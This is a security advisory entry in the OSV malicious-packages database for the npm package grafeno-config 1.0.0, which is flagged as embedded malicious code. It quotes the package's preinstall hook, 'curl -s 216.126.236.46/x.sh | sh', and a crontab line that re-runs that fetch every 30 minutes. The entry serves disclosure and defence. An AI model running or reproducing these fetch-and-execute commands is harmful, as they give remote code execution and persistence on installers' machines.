MAL-2026-15504

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/grafeno-config/MAL-2026-15504.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-15504
Published
2026-08-28T23:02:08Z
Modified
2026-08-28T23:31:38Z
Summary
Malicious code in grafeno-config (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (ebbea90af14e110b5dcef171163ea3029f6655ecf623595c251f44db674ce6af)

package.json declares a preinstall lifecycle hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare-IP host over plain HTTP and piping it to /bin/bash on npm install. The same hook appends a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh | sh, re-fetching and executing whatever that host serves every 30 minutes. The payload is unpinned, unverified, and mutable by whoever controls 216.126.236.46, giving arbitrary remote code execution on the installer's host at install time and persistent execution thereafter, independent of whether the package remains installed.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-019064",
            "import_time": "2026-08-28T23:14:35.539081022Z",
            "modified_time": "2026-08-28T23:02:08Z",
            "sha256": "ebbea90af14e110b5dcef171163ea3029f6655ecf623595c251f44db674ce6af",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / grafeno-config

Package

Name
grafeno-config
View open source insights on deps.dev
Purl
pkg:npm/grafeno-config

Affected ranges

Affected versions

1.*
1.0.0

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "6b525b1686e9a2f15c106ad0da052505d736f68b839428688a8d4ff4ecf7453b",
            "tlsh": "4ef054f09c24f5736b4e01715a7942b6f7e349560d0c6c045b1a1158e1df3e31e79c57"
        }
    ],
    "package_integrity": [
        {
            "filename": "grafeno-config-1.0.0.tgz",
            "hashes": {
                "sha1": "2d87c8e16788265186ab5a5e4748df06d5084e1b",
                "sha512_sri": "sha512-ibgF9MwYXnOMQGZqGShUSAeL4OaKLo7/pDWQ/0r2eGiBqNPz6gIuzw+wXnV7KW5s8KumV8hioShqarxktEmZZw=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/grafeno-config/MAL-2026-15504.json"